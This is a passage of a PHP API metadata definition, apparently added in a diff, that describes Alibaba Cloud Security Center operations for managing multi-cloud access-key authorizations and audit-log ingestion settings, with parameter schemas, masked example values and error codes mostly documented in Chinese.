\\"AkType\\": \\"sub\\",\\n \\"SecretId\\": \\"AE6SLd****\\",\\n \\"ServiceStatus\\": 0,\\n \\"Vendor\\": \\"Tencent\\",\\n \\"Message\\": \\"The IAM user is forbidden in the currently selected region\\",\\n \\"AuthModules\\": [\\n {\\n \\"ModuleDisp\\": \\"Host Assets\\",\\n \\"ModuleStatement\\": \\"Read permission of the cloud server or virtual machine\\",\\n \\"Module\\": \\"HOST\\",\\n \\"ModuleAssetType\\": \\"Cloud server or virtual machine\\",\\n \\"ModuleServiceStatus\\": 0,\\n \\"Message\\": \\"ak_domain_error\\"\\n }\\n ],\\n \\"VendorAuthAlias\\": \\"test\\",\\n \\"CtdrCloudUserId\\": \\"azure_demo_1\\"\\n }\\n}","type":"json"}]', + 'title' => '新增多云资产授权配置', + ], + 'DeleteCloudVendorAccountAK' => [ + 'summary' => '删除多云资产同步配置。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'readAndWrite', + 'systemTags' => [ + 'operationType' => 'delete', + 'abilityTreeCode' => '91952', + 'abilityTreeNodes' => [ + 'FEATUREsasK0Q1Y8', + ], + ], + 'parameters' => [ + [ + 'name' => 'AuthId', + 'in' => 'query', + 'schema' => [ + 'description' => 'AK唯一ID。'."\n" + ."\n" + .'> 您可以调用[DescribeCloudVendorAccountAKList](~~DescribeCloudVendorAccountAKList~~)获取AuthId。'."\n" + .'> -', + 'type' => 'integer', + 'format' => 'int64', + 'required' => true, + 'example' => '2363', + ], + ], + [ + 'name' => 'AuthModules', + 'in' => 'query', + 'style' => 'repeatList', + 'schema' => [ + 'description' => 'AK关联模块列表。', + 'type' => 'array', + 'items' => [ + 'description' => 'AK关联模块Code，取值：'."\n" + .'- HOST：主机。'."\n" + .'- CSPM：CSPM。'."\n" + .'- SIEM：SIEM。', + 'type' => 'string', + 'required' => false, + 'example' => 'HOST', + ], + 'required' => false, + 'maxItems' => 100, + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '唯一请求ID。', + 'type' => 'string', + 'example' => '4539D402-F7A4-5915-9580-EC227BF*****', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"4539D402-F7A4-5915-9580-EC227BF*****\\"\\n}","type":"json"}]', + 'title' => '删除多云资产授权配置', + ], + 'DescribeCloudVendorAccountAKList' => [ + 'summary' => '查询多云资产配置列表。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'systemTags' => [ + 'operationType' => 'list', + 'riskType' => 'none', + 'chargeType' => 'free', + 'abilityTreeCode' => '92023', + 'abilityTreeNodes' => [ + 'FEATUREsas36IOGX', + 'FEATUREsasLFD8D4', + ], + 'tenantRelevance' => 'publicInformation', + ], + 'parameters' => [ + [ + 'name' => 'PageSize', + 'in' => 'query', + 'schema' => [ + 'description' => '分页查询时，显示的每页数据的最大条数，默认值20。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '20', + ], + ], + [ + 'name' => 'CurrentPage', + 'in' => 'query', + 'schema' => [ + 'description' => '分页查询时，当前页的页码，默认值1。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '1', + ], + ], + [ + 'name' => 'SubAccountName', + 'in' => 'query', + 'schema' => [ + 'description' => 'AK所属云厂商子账号的用户名。', + 'type' => 'string', + 'required' => false, + 'example' => 'AlibabaCloud_***', + ], + ], + [ + 'name' => 'Status', + 'in' => 'query', + 'schema' => [ + 'description' => 'AK状态。取值：'."\n" + ."\n" + .'- **0**：开启'."\n" + .'- **1**：未开启', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '1', + ], + ], + [ + 'name' => 'AuthIds', + 'in' => 'query', + 'schema' => [ + 'description' => 'AK唯一ID。', + 'type' => 'string', + 'required' => false, + 'example' => '2624', + ], + ], + [ + 'name' => 'Lang', + 'in' => 'query', + 'schema' => [ + 'description' => '设置请求和接收消息的语言类型，默认为**zh**。取值：'."\n" + ."\n" + .'- **zh**：中文'."\n" + .'- **en**：英文', + 'type' => 'string', + 'required' => false, + 'example' => 'zh', + ], + ], + [ + 'name' => 'VendorAuthAlias', + 'in' => 'query', + 'allowEmptyValue' => true, + 'schema' => [ + 'description' => 'AK账号名称。', + 'type' => 'string', + 'required' => false, + 'example' => 'test', + ], + ], + [ + 'name' => 'Vendor', + 'in' => 'query', + 'schema' => [ + 'type' => 'string', + 'required' => false, + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '阿里云为该请求生成的唯一标识符。', + 'type' => 'string', + 'example' => '1383B0DB-D5D6-4B0C-9E6B-75939C8****', + ], + 'PageInfo' => [ + 'description' => '分页信息。', + 'type' => 'object', + 'properties' => [ + 'CurrentPage' => [ + 'description' => '分页查询时，当前页的页码。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'PageSize' => [ + 'description' => '分页查询时，每页最多显示的数据条数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '20', + ], + 'TotalCount' => [ + 'description' => '数据的总条数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '55', + ], + 'Count' => [ + 'description' => '当前页显示的数据条数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '20', + ], + ], + ], + 'CloudVendorAccountAKs' => [ + 'description' => 'AK信息列表。', + 'type' => 'array', + 'items' => [ + 'type' => 'object', + 'properties' => [ + 'Status' => [ + 'description' => 'AK状态。取值：'."\n" + .'- **0**：开启'."\n" + .'- **1**：未开启', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '0', + ], + 'AuthId' => [ + 'description' => 'AK唯一ID。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '2345', + ], + 'AkType' => [ + 'description' => 'AK类型。取值：'."\n" + ."\n" + .'- **primary**：主账号'."\n" + .'- **sub**：子账号', + 'type' => 'string', + 'example' => 'primary', + ], + 'SecretId' => [ + 'description' => 'AK参数Id。', + 'type' => 'string', + 'example' => 'S3D6c4O***', + ], + 'ServiceStatus' => [ + 'description' => 'AK使用状态。取值：'."\n" + .'- **0**：使用中'."\n" + .'- **1**：使用异常'."\n" + .'- **2**：有效性验证中'."\n" + .'- **3**：有效性验证超时', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '0', + ], + 'Vendor' => [ + 'description' => '云资产厂商。取值：'."\n" + .'- **Tencent**：腾讯云'."\n" + .'- **HUAWEICLOUD**：华为云'."\n" + .'- **Azure**：Azure'."\n" + .'- **AWS**：AWS'."\n" + .'- **VOLCENGINE**：火山云'."\n" + .'- **google**：谷歌云'."\n" + .'- **CHAITIN**：长亭科技'."\n" + .'- **FORTINET**：飞塔'."\n" + .'- **THREATBOOK**：微步在线', + 'type' => 'string', + 'example' => 'Tencent', + ], + 'Message' => [ + 'description' => 'AK异常信息。', + 'type' => 'string', + 'example' => 'The IAM user is forbidden in the currently selected region'."\n", + ], + 'AuthModules' => [ + 'description' => 'AK关联模块列表。', + 'type' => 'array', + 'items' => [ + 'type' => 'object', + 'properties' => [ + 'ModuleDisp' => [ + 'description' => '模块显示名称。', + 'type' => 'string', + 'example' => 'Host Assets', + ], + 'ModuleStatement' => [ + 'description' => '模块关联权限说明。', + 'type' => 'string', + 'example' => 'Read permission of the cloud server or virtual machine', + ], + 'Module' => [ + 'description' => '模块Code。取值：'."\n" + .'- **HOST**：主机'."\n" + .'- **CSPM**：云产品配置检查'."\n" + .'- **SIEM**：CloudSiem'."\n" + .'- **TRIAL**：日志审计', + 'type' => 'string', + 'example' => 'HOST', + ], + 'ModuleAssetType' => [ + 'description' => '模块关联云资产说明。', + 'type' => 'string', + 'example' => 'Cloud server or virtual machine', + ], + 'ModuleServiceStatus' => [ + 'description' => '模块状态。取值：'."\n" + .'- **0**：使用中'."\n" + .'- **1**：使用异常'."\n" + .'- **2**：有效性验证中'."\n" + .'- **3**：有效性验证超时', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '0', + ], + 'Message' => [ + 'description' => '模块异常信息。', + 'type' => 'string', + 'example' => 'ak_domain_error', + ], + 'TrailStatus' => [ + 'description' => '日志审计接入状态。取值：'."\n" + .'- **init**：初始化中'."\n" + .'- **verify**：验证中'."\n" + .'- **enable**：已生效'."\n" + .'- **disable**：未生效'."\n" + .'- **error**：异常'."\n" + .'- **timeout**：验证超时', + 'type' => 'string', + 'example' => 'enable', + ], + 'TrailMessage' => [ + 'description' => '日志审计接入错误信息。', + 'type' => 'string', + 'example' => 'timeout', + ], + ], + ], + ], + 'VendorAuthAlias' => [ + 'description' => 'AK账号名称。', + 'type' => 'string', + 'example' => 'test', + ], + 'CtdrCloudUserId' => [ + 'description' => '账号ID。'."\n" + ."\n" + .'> 接入的云厂商的账号ID。', + 'type' => 'string', + 'example' => 'azure_demo_1', + ], + 'ExtendInfo' => [ + 'description' => '扩展信息。'."\n" + ."\n" + .'> 用于记录不同厂商扩展信息。'."\n" + .'>谷歌云是通过服务账号接入的，ExtendInfo存储的是json格式服务密钥文件，排除了private_key_id和zprivate_key字段。文件中包含字段：type，project_id，client_email，client_id，auth_uri，token_uri，auth_provider_x509_cert_url，client_x509_cert_url，universe_domain。', + 'type' => 'string', + 'example' => '{\\"product\\":\\"webFirewall\\",\\"remark\\":\\"remark\\"}', + ], + 'VendorUid' => [ + 'description' => '多云实例的账号ID。', + 'type' => 'string', + 'example' => '123', + ], + 'VendorUserName' => [ + 'description' => '多云实例的账号名称。', + 'type' => 'string', + 'example' => 'VendorUserName', + ], + ], + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"1383B0DB-D5D6-4B0C-9E6B-75939C8****\\",\\n \\"PageInfo\\": {\\n \\"CurrentPage\\": 1,\\n \\"PageSize\\": 20,\\n \\"TotalCount\\": 55,\\n \\"Count\\": 20\\n },\\n \\"CloudVendorAccountAKs\\": [\\n {\\n \\"Status\\": 0,\\n \\"AuthId\\": 2345,\\n \\"AkType\\": \\"primary\\",\\n \\"SecretId\\": \\"S3D6c4O***\\",\\n \\"ServiceStatus\\": 0,\\n \\"Vendor\\": \\"Tencent\\",\\n \\"Message\\": \\"The IAM user is forbidden in the currently selected region\\\\n\\",\\n \\"AuthModules\\": [\\n {\\n \\"ModuleDisp\\": \\"Host Assets\\",\\n \\"ModuleStatement\\": \\"Read permission of the cloud server or virtual machine\\",\\n \\"Module\\": \\"HOST\\",\\n \\"ModuleAssetType\\": \\"Cloud server or virtual machine\\",\\n \\"ModuleServiceStatus\\": 0,\\n \\"Message\\": \\"ak_domain_error\\",\\n \\"TrailStatus\\": \\"enable\\",\\n \\"TrailMessage\\": \\"timeout\\"\\n }\\n ],\\n \\"VendorAuthAlias\\": \\"test\\",\\n \\"CtdrCloudUserId\\": \\"azure_demo_1\\",\\n \\"ExtendInfo\\": \\"{\\\\\\\\\\\\\\"product\\\\\\\\\\\\\\":\\\\\\\\\\\\\\"webFirewall\\\\\\\\\\\\\\",\\\\\\\\\\\\\\"remark\\\\\\\\\\\\\\":\\\\\\\\\\\\\\"remark\\\\\\\\\\\\\\"}\\",\\n \\"VendorUid\\": \\"123\\",\\n \\"VendorUserName\\": \\"VendorUserName\\"\\n }\\n ]\\n}","type":"json"}]', + 'title' => '查询多云资产授权配置列表', + ], + 'DescribeCloudVendorTrialConfig' => [ + 'summary' => '查询第三方云资产审计日志接入配置。', + 'methods' => [ + 'get', + ], + 'schemes' => [ + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'get', + 'riskType' => 'none', + 'chargeType' => 'free', + 'abilityTreeCode' => '201842', + 'abilityTreeNodes' => [ + 'FEATUREsas8WIQPJ', + ], + 'tenantRelevance' => 'publicInformation', + ], + 'parameters' => [ + [ + 'name' => 'AuthId', + 'in' => 'query', + 'schema' => [ + 'description' => 'AK唯一ID。'."\n" + ."\n" + .'> 您可以调用[DescribeCloudVendorAccountAKList](~~DescribeCloudVendorAccountAKList~~)获取AuthId。'."\n" + .'> -', + 'type' => 'integer', + 'format' => 'int64', + 'required' => true, + 'exclusiveMinimum' => false, + 'example' => '23**', + ], + ], + [ + 'name' => 'Vendor', + 'in' => 'query', + 'schema' => [ + 'description' => '云资产厂商。取值：'."\n" + .'- **Tencent**：腾讯云'."\n" + .'- **AWS**：亚马逊', + 'type' => 'string', + 'required' => true, + 'example' => 'AWS', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'title' => 'Schema of Response', + 'description' => '返回消息的结构体。', + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'title' => 'Id of the request', + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '43313389-DED8-5BB7-8CB9-F22CDEB7****', + ], + 'Data' => [ + 'description' => '返回数据。', + 'type' => 'object', + 'properties' => [ + 'AuthInfo' => [ + 'description' => '多云配置信息：'."\n" + .'- *AWS*：出参 sqsQueueName、sqsRegion'."\n" + .'- *Tencent*：出参 kafkaUserName、kafkaBootstrapServers、kafkaTopic', + 'type' => 'string', + 'example' => '{\\"sqsRegion\\":\\"us-west-2\\",\\"sqsQueueName\\":\\"****\\"}', + ], + 'Status' => [ + 'description' => 'Trail配置的接入状态。取值：'."\n" + .'- **init**：初始化接入'."\n" + .'- **verify**：配置验证中'."\n" + .'- **enable**：配置生效'."\n" + .'- **disable**：配置失效'."\n" + .'- **error**：配置接入错误'."\n" + .'- **timeout**：配置接入超时', + 'type' => 'string', + 'example' => 'init', + ], + 'Message' => [ + 'description' => '接入错误时返回的错误提示消息。', + 'type' => 'string', + 'example' => 'No relevant queue found', + ], + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'staticInfo' => [ + 'returnType' => 'synchronous', + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"43313389-DED8-5BB7-8CB9-F22CDEB7****\\",\\n \\"Data\\": {\\n \\"AuthInfo\\": \\"{\\\\\\\\\\\\\\"sqsRegion\\\\\\\\\\\\\\":\\\\\\\\\\\\\\"us-west-2\\\\\\\\\\\\\\",\\\\\\\\\\\\\\"sqsQueueName\\\\\\\\\\\\\\":\\\\\\\\\\\\\\"****\\\\\\\\\\\\\\"}\\",\\n \\"Status\\": \\"init\\",\\n \\"Message\\": \\"No relevant queue found\\"\\n }\\n}","type":"json"}]', + 'title' => '查询第三方云资产审计日志接入配置', + ], + 'ModifyCloudVendorTrialConfig' => [ + 'summary' => '修改多云接入的审计日志（ActionTrail）接入配置信息。', + 'methods' => [ + 'post', + ], + 'schemes' => [ + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'readAndWrite', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'update', + 'riskType' => 'none', + 'chargeType' => 'free', + 'abilityTreeCode' => '201839', + 'abilityTreeNodes' => [ + 'FEATUREsasVQUB1H', + ], + 'tenantRelevance' => 'publicInformation', + ], + 'parameters' => [ + [ + 'name' => 'AuthId', + 'in' => 'query', + 'schema' => [ + 'description' => '修改的审计日志配置的ID。'."\n" + .'> ID通过[DescribeCloudVendorAccountAKList](~~DescribeCloudVendorAccountAKList~~)查询。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => true, + 'example' => '23**', + ], + ], + [ + 'name' => 'Vendor', + 'in' => 'query', + 'schema' => [ + 'description' => '云资产厂商。取值：'."\n" + ."\n" + .'- **Tencent**：腾讯云'."\n" + .'- **AWS**：AWS', + 'type' => 'string', + 'required' => true, + 'example' => 'Tencent', + ], + ], + [ + 'name' => 'AuthInfo', + 'in' => 'query', + 'schema' => [ + 'description' => '输入多云配置信息：'."\n" + .'- AWS：入参 sqsQueueName、sqsRegion'."\n" + .'- Tencent：入参 kafkaUserName、kafkaBootstrapServers、kafkaTopic', + 'type' => 'string', + 'required' => false, + 'example' => '{\\"sqsRegion\\":\\"us-west-2\\",\\"sqsQueueName\\":\\"****\\"}'."\n", + ], + ], + [ + 'name' => 'DeleteTrail', + 'in' => 'query', + 'schema' => [ + 'description' => '是否删除此审计日志配置：'."\n" + .'- true：删除'."\n" + .'- false：不删除', + 'type' => 'boolean', + 'required' => false, + 'example' => 'true', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'title' => 'Schema of Response', + 'description' => '返回的结构体', + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'title' => 'Id of the request', + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => 'D65AADFC-1D20-5A6A-8F6A-9FA53C0D****', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'staticInfo' => [ + 'returnType' => 'synchronous', + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"D65AADFC-1D20-5A6A-8F6A-9FA53C0D****\\"\\n}","type":"json"}]', + 'title' => '修改多云接入对应的审计日志配置信息', + ], + 'ModifyCloudVendorAccountAK' => [ + 'summary' => '修改多云资产授权认证配置信息。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'readAndWrite', + 'systemTags' => [ + 'operationType' => 'update', + 'riskType' => 'none', + 'chargeType' => 'free', + 'abilityTreeCode' => '92357', + 'abilityTreeNodes' => [ + 'FEATUREsasK0Q1Y8', + ], + ], + 'parameters' => [ + [ + 'name' => 'AuthIds', + 'in' => 'query', + 'schema' => [ + 'description' => 'AK唯一ID。'."\n" + .'>调用[DescribeCloudVendorAccountAKList](~~DescribeCloudVendorAccountAKList~~)接口可以获取该参数。', + 'type' => 'string', + 'required' => true, + 'example' => '2832', + ], + ], + [ + 'name' => 'SecretId', + 'in' => 'query', + 'schema' => [ + 'description' => 'AK参数Id。取值：'."\n" + ."\n" + .'1.AkType取值primary:'."\n" + .'- **Tencent**：主账号AccessKeyId'."\n" + .'- **HUAWEICLOUD**：主账号AccessKeyId'."\n" + .'- **Azure**：ClientId'."\n" + .'- **AWS**：主账号AccessKeyId'."\n" + .'- **VOLCENGINE**：主账号AccessKeyId'."\n" + ."\n" + .'2.AkType取值sub:'."\n" + .'- **Tencent**：子账号AccessKeyId'."\n" + .'- **HUAWEICLOUD**：子账号AccessKeyId'."\n" + .'- **Azure**：ClientId'."\n" + .'- **AWS**：子账号AccessKeyId'."\n" + .'- **VOLCENGINE**：子账号AccessKeyId'."\n" + .'- **google**：private_key_id'."\n" + ."\n" + .'>AkType取值为**primary**则该值为他云的主账号SecretID。AkType取值为**sub**则该值为他云子账号Access Key ID。**Azure**不做区分，该值为认证信息的**appId**。谷歌云是通过服务账号接入的，AkType默认取值sub， 该值取自JSON格式服务密钥文件的private_key_id属性值。', + 'type' => 'string', + 'required' => false, + 'example' => 'S3D6c4O***', + ], + ], + [ + 'name' => 'SecretKey', + 'in' => 'query', + 'schema' => [ + 'description' => 'AK参数Secret。'."\n" + .'> AkType取值为**primary**则该值为他云的主账号Secret Access Key。AkType取值为**sub**则该值为他云子账号Secret Access Key。**Azure**不做区分，该值为认证信息的**password**。谷歌云是通过服务账号接入的，AkType默认取值sub， 该值取自JSON格式服务密钥文件的private_key属性值。', + 'type' => 'string', + 'required' => false, + 'example' => 'AE6SLd****', + ], + ], + [ + 'name' => 'Regions', + 'in' => 'query', + 'style' => 'repeatList', + 'schema' => [ + 'description' => 'AK信息验证所使用的Region列表。', + 'type' => 'array', + 'items' => [ + 'description' => 'AK信息验证所使用的Region。'."\n" + .'>该参数仅对Vendor为AWS有效。您可调用[ListCloudVendorRegions](~~ListCloudVendorRegions~~)接口可以获取该参数。', + 'type' => 'string', + 'required' => false, + 'example' => 'ap-south-1', + ], + 'required' => false, + 'maxItems' => 10, + ], + ], + [ + 'name' => 'Status', + 'in' => 'query', + 'schema' => [ + 'description' => 'AK使用状态。取值：'."\n" + .'- **0**：启用'."\n" + .'- **1**：停用', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '0', + ], + ], + [ + 'name' => 'TenantId', + 'in' => 'query', + 'schema' => [ + 'description' => '租户ID。'."\n" + .'>该参数仅对Vendor为Azure有效。', + 'type' => 'string', + 'required' => false, + 'example' => '95304a97-339b-4de5-9a7d-cdbffaf****', + ], + ], + [ + 'name' => 'SubscriptionIds', + 'in' => 'query', + 'style' => 'repeatList', + 'schema' => [ + 'description' => '订阅ID列表。'."\n" + .'> 该参数已无效。', + 'type' => 'array', + 'items' => [ + 'description' => '订阅ID。'."\n" + .'> 该参数已无效。', + 'type' => 'string', + 'required' => false, + 'example' => '9b41e7ae-fcbf-4983-aa32-6fb2e*****', + ], + 'required' => false, + 'maxItems' => 1, + ], + ], + [ + 'name' => 'Domain', + 'in' => 'query', + 'schema' => [ + 'description' => '接入账号域。取值：'."\n" + .'- **china**：中国'."\n" + .'- **global**：全球'."\n" + .'- **europe**：华为欧洲站'."\n" + ."\n" + .'> 该参数仅对**Vendor**为**HUAWEICLOUD**、**Azure**、**AWS**、**VOLCENGINE**有效，且为必传。', + 'type' => 'string', + 'required' => false, + 'example' => 'global', + ], + ], + [ + 'name' => 'AuthModules', + 'in' => 'query', + 'style' => 'repeatList', + 'schema' => [ + 'description' => 'AK关联模块Code列表。取值：'."\n" + .'- **HOST**：主机'."\n" + .'- **CSPM**：云产品配置检查'."\n" + .'- **SIEM**：威胁分析与响应'."\n" + .'- **TRIAL**：日志审计'."\n" + .'> 您可调用[GetSupportedModules](~~GetSupportedModules~~)接口获取可支持的模块。', + 'type' => 'array', + 'items' => [ + 'description' => 'AK关联模块Code。取值：'."\n" + .'- **HOST**：主机'."\n" + .'- **CSPM**：云产品配置检查'."\n" + .'- **SIEM**：威胁分析与响应'."\n" + .'- **TRIAL**：日志审计'."\n" + .'> 您可调用[GetSupportedModules](~~GetSupportedModules~~)接口获取可支持的模块。', + 'type' => 'string', + 'required' => false, + 'example' => 'HOST', + ], + 'required' => false, + 'maxItems' => 100, + ], + ], + [ + 'name' => 'Lang', + 'in' => 'query', + 'schema' => [ + 'description' => '设置请求和接收消息的语言类型，默认为**zh**。取值：'."\n" + ."\n" + .'- **zh**：中文'."\n" + .'- **en**：英文', + 'type' => 'string', + 'required' => false, + 'example' => 'zh', + ], + ], + [ + 'name' => 'VendorAuthAlias', + 'in' => 'query', + 'allowEmptyValue' => true, + 'schema' => [ + 'description' => 'AK账号名称。'."\n" + .'>用于标识三方主机资产的所属账号信息。', + 'type' => 'string', + 'required' => false, + 'example' => 'test', + ], + ], + [ + 'name' => 'ExtendInfo', + 'in' => 'query', + 'schema' => [ + 'description' => '扩展信息。'."\n" + ."\n" + .'> 用于记录不同厂商扩展信息。'."\n" + .'>谷歌云是通过服务账号接入的，ExtendInfo存储的是json格式服务密钥文件，排除了private_key_id和zprivate_key字段。文件中包含字段：type，project_id，client_email，client_id，auth_uri，token_uri，auth_provider_x509_cert_url，client_x509_cert_url，universe_domain。', + 'type' => 'string', + 'required' => false, + 'example' => '{\\"product\\":\\"webFirewall\\",\\"remark\\":\\"remark\\"}', + ], + ], + [ + 'name' => 'CtdrCloudUserId', + 'in' => 'query', + 'schema' => [ + 'description' => '账号ID。'."\n" + .'>接入的云厂商的账号ID，当权限说明包含威胁分析与响应时必填。', + 'type' => 'string', + 'required' => false, + 'example' => 'azure_demo_1', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'description' => '请求返回数据。', + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '6635CED5-4B20-5D2D-94EC-A1C8F9C****', + ], + 'Data' => [ + 'description' => '当前添加授权认证信息。', + 'type' => 'object', + 'properties' => [ + 'Status' => [ + 'description' => 'AK使用状态。取值：'."\n" + .'- **0**：启用'."\n" + .'- **1**：停用', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '0', + ], + 'AuthId' => [ + 'description' => 'AK唯一ID。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '2158', + ], + 'AkType' => [ + 'description' => 'AK账号类型。取值：'."\n" + ."\n" + .'- **primary**：主账号'."\n" + .'- **sub**：子账号', + 'type' => 'string', + 'example' => 'sub', + ], + 'SecretId' => [ + 'description' => 'AK参数ID。'."\n" + .'> AkType取值为**primary**则该值为他云的主账号SecretID。AkType取值为**sub**则该值为他云子账号Access Key ID。**Azure**不做区分，该值为认证信息的**appId**。', + 'type' => 'string', + 'example' => 'AE6SLd****', + ], + 'ServiceStatus' => [ + 'description' => 'AK可用状态。取值：'."\n" + .'- **0**：使用中'."\n" + .'- **1**：使用异常'."\n" + .'- **2**：有效性验证中'."\n" + .'- **3**：有效性验证超时', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '0', + ], + 'Vendor' => [ + 'description' => '云资产厂商。取值：'."\n" + .'- **Tencent**：腾讯云'."\n" + .'- **HUAWEICLOUD**：华为云'."\n" + .'- **Azure**：Azure'."\n" + .'- **AWS**：AWS'."\n" + .'- **VOLCENGINE**：火山云'."\n" + .'- **google**：谷歌云'."\n" + .'- **CHAITIN**：长亭科技'."\n" + .'- **FORTINET**：飞塔'."\n" + .'- **THREATBOOK**：微步在线', + 'type' => 'string', + 'example' => 'Tencent', + ], + 'Message' => [ + 'description' => 'AK异常信息。', + 'type' => 'string', + 'example' => 'The IAM user is forbidden in the currently selected region', + ], + 'AuthModules' => [ + 'description' => 'AK关联模块信息列表。', + 'type' => 'array', + 'items' => [ + 'description' => '认证授权关联模块信息。', + 'type' => 'object', + 'properties' => [ + 'ModuleDisp' => [ + 'description' => '模块显示名称。', + 'type' => 'string', + 'example' => 'Host Assets', + ], + 'ModuleStatement' => [ + 'description' => '模块关联权限说明。', + 'type' => 'string', + 'example' => 'Read permission of the cloud server or virtual machine', + ], + 'Module' => [ + 'description' => '模块Code。取值：'."\n" + .'- **HOST**：主机'."\n" + .'- **CSPM**：云产品配置检查'."\n" + .'- **SIEM**：威胁分析与响应'."\n" + .'- **TRIAL**：日志审计', + 'type' => 'string', + 'example' => 'HOST', + ], + 'ModuleAssetType' => [ + 'description' => '模块关联云资产说明。', + 'type' => 'string', + 'example' => 'Cloud server or virtual machine', + ], + 'ModuleServiceStatus' => [ + 'description' => '模块状态。取值：'."\n" + .'- **0**：使用中'."\n" + .'- **1**：使用异常'."\n" + .'- **2**：有效性验证中'."\n" + .'- **3**：有效性验证超时', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '0', + ], + 'Message' => [ + 'description' => '模块异常信息。', + 'type' => 'string', + 'example' => 'ak_domain_error', + ], + ], + ], + ], + 'VendorAuthAlias' => [ + 'description' => 'AK账号名称。'."\n" + .'>用于标识三方主机资产的所属账号信息。', + 'type' => 'string', + 'example' => 'test', + ], + 'CtdrCloudUserId' => [ + 'description' => '账号ID。'."\n" + .'>接入的云厂商的账号ID。', + 'type' => 'string', + 'example' => 'azure_demo_1', + ], + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"6635CED5-4B20-5D2D-94EC-A1C8F9C****\\",\\n \\"Data\\": {\\n \\"Status\\": 0,\\n \\"AuthId\\": 2158,\\n \\"AkType\\": \\"sub\\",\\n \\"SecretId\\": \\"AE6SLd****\\",\\n \\"ServiceStatus\\": 0,\\n \\"Vendor\\": \\"Tencent\\",\\n \\"Message\\": \\"The IAM user is forbidden in the currently selected region\\",\\n \\"AuthModules\\": [\\n {\\n \\"ModuleDisp\\": \\"Host Assets\\",\\n \\"ModuleStatement\\": \\"Read permission of the cloud server or virtual machine\\",\\n \\"Module\\": \\"HOST\\",\\n \\"ModuleAssetType\\": \\"Cloud server or virtual machine\\",\\n \\"ModuleServiceStatus\\": 0,\\n \\"Message\\": \\"ak_domain_error\\"\\n }\\n ],\\n \\"VendorAuthAlias\\": \\"test\\",\\n \\"CtdrCloudUserId\\": \\"azure_demo_1\\"\\n }\\n}","type":"json"}]', + 'title' => '修改多云资产授权配置信息', + ], + 'AddCloudVendorTrialConfig' => [ + 'summary' => '增加第三方云资产审计日志接入配置。', + 'methods' => [ + 'post', + ], + 'schemes' => [ + 'https', 